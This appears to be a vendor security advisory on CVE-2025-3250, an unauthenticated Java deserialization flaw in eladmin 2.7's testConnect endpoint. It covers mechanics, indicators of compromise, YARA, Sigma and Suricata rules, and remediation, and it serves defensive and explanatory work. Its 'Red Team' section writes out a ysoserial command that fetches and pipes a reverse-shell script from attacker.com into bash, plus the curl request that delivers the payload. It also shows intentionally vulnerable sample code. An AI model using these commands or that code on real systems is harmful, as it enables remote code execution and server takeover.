CVE-2025-3250

Executive Summary

CVE-2025-3250 is a critical deserialization vulnerability identified in elunez eladmin version 2.7, specifically within the Maintenance Management Module at the /api/database/testConnect endpoint. The vulnerability allows an unauthenticated remote attacker to trigger unsafe deserialization of untrusted data, potentially leading to remote code execution (RCE), data exfiltration, or complete system compromise. The exploit has been publicly disclosed, increasing the risk of widespread exploitation. No official patch is currently available, making immediate mitigation measures essential.

Supply Chain & Package Security

This vulnerability affects the eladmin Java-based application, which is not distributed via NPM, PyPI, Go, or Ruby registries. However, organizations using eladmin as part of their internal toolchain should treat this as a critical supply chain risk. The lack of a patch means that any deployment of eladmin 2.7 is inherently vulnerable, and reliance on this component without mitigation could lead to downstream compromise.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is remotely exploitable without authentication, making it highly dangerous. Successful exploitation can lead to full system takeover.

Deep Dive & Mechanics

The vulnerability resides in the /api/database/testConnect endpoint of the Maintenance Management Module. The application deserializes user-supplied data without proper validation or sanitization. Java deserialization vulnerabilities (CWE-502) occur when an application deserializes untrusted data, allowing an attacker to craft a malicious serialized object that, when deserialized, executes arbitrary code.

The attack flow:

1. The attacker sends a POST request to /api/database/testConnect with a malicious serialized Java object.
2. The application deserializes the object without checking its integrity or origin.
3. During deserialization, the object's readObject() method triggers code execution, often via gadgets from libraries like Commons Collections or Spring.
4. The attacker gains remote code execution on the server.

The exploit is publicly available, lowering the barrier for attackers.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current implementation. A patched version would need to:

• Replace Java serialization with a safer alternative (e.g., JSON).
• Implement a whitelist of allowed classes for deserialization.
• Use a deserialization filter (e.g., ObjectInputFilter in Java 9+).

Vulnerable Code (Conceptual):

// Vulnerable endpoint
@PostMapping("/api/database/testConnect")
public String testConnect(@RequestBody String data) {
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data.getBytes()));
    Object obj = ois.readObject(); // Unsafe deserialization
    // Process obj...
}

Patched Code (Conceptual):

// Patched endpoint using JSON
@PostMapping("/api/database/testConnect")
public String testConnect(@RequestBody String data) {
    // Use JSON parsing instead of Java serialization
    JSONObject json = new JSONObject(data);
    // Process json safely...
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Java Runtime Environment (JRE) 8+
• ysoserial tool (for generating payloads)
• Target running eladmin 2.7

Step 1: Generate Malicious Payload

java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/revshell.sh | bash' > payload.bin

Step 2: Send Exploit Request

curl -X POST http://target:port/api/database/testConnect \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.bin

Step 3: Verify Execution

• Check for outbound connections to your listener.
• Execute commands via the reverse shell.

Blue Team (Defense & Detection)

Detection:

• Monitor for POST requests to /api/database/testConnect with Content-Type: application/octet-stream.
• Inspect payloads for Java serialization magic bytes (AC ED 00 05).
• Use network intrusion detection to flag serialized objects.

Mitigation:

• Block the endpoint at the WAF or reverse proxy.
• Implement input validation to reject binary data.
• Apply runtime application self-protection (RASP) to detect deserialization attacks.

Indicators of Compromise (IOCs)

• Network:

  • POST requests to /api/database/testConnect with Content-Type: application/octet-stream.
  • Payloads starting with hex AC ED 00 05 (Java serialization header).
  • Outbound connections to unknown IPs on common ports (80, 443, 4444).

• File System:

  • Unexpected files in /tmp/ or /var/tmp/ (e.g., ysoserial-*).
  • Modified or new JAR files in the application directory.

• Process:

  • Unusual Java processes executing shell commands.
  • Spawned child processes like bash, curl, or wget.

Detection Engineering

YARA Rule

rule CVE_2025_3250_Deserialization {
    meta:
        description = "Detects Java deserialization payloads targeting CVE-2025-3250"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-3250"
    strings:
        $magic = { AC ED 00 05 }
        $endpoint = "/api/database/testConnect"
    condition:
        $magic at 0 and $endpoint
}

Sigma Rule

title: CVE-2025-3250 - Java Deserialization Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to /api/database/testConnect with Java serialization payloads
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/database/testConnect'
        cs-content-type: 'application/octet-stream'
    condition: selection
falsepositives:
    - Legitimate database testing with binary data (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3250 - Java Deserialization Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/database/testConnect"; http_uri; content:"application/octet-stream"; http_content_type; content:"|AC ED 00 05|"; within:4; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint: Block /api/database/testConnect at the web server or WAF.
2. Apply input validation: Reject requests with Content-Type: application/octet-stream.
3. Use a deserialization filter: If Java 9+, add -Djdk.serialFilter=!* to JVM arguments to block all deserialization.

Long-Term Fix:

• Replace Java serialization with JSON or XML parsing.
• Implement a whitelist of allowed classes for deserialization.
• Upgrade to a patched version when available.

Monitoring:

• Enable logging for all POST requests to /api/database/testConnect.
• Alert on any detection rule matches.

Valters IT
Securing Digital Frontiers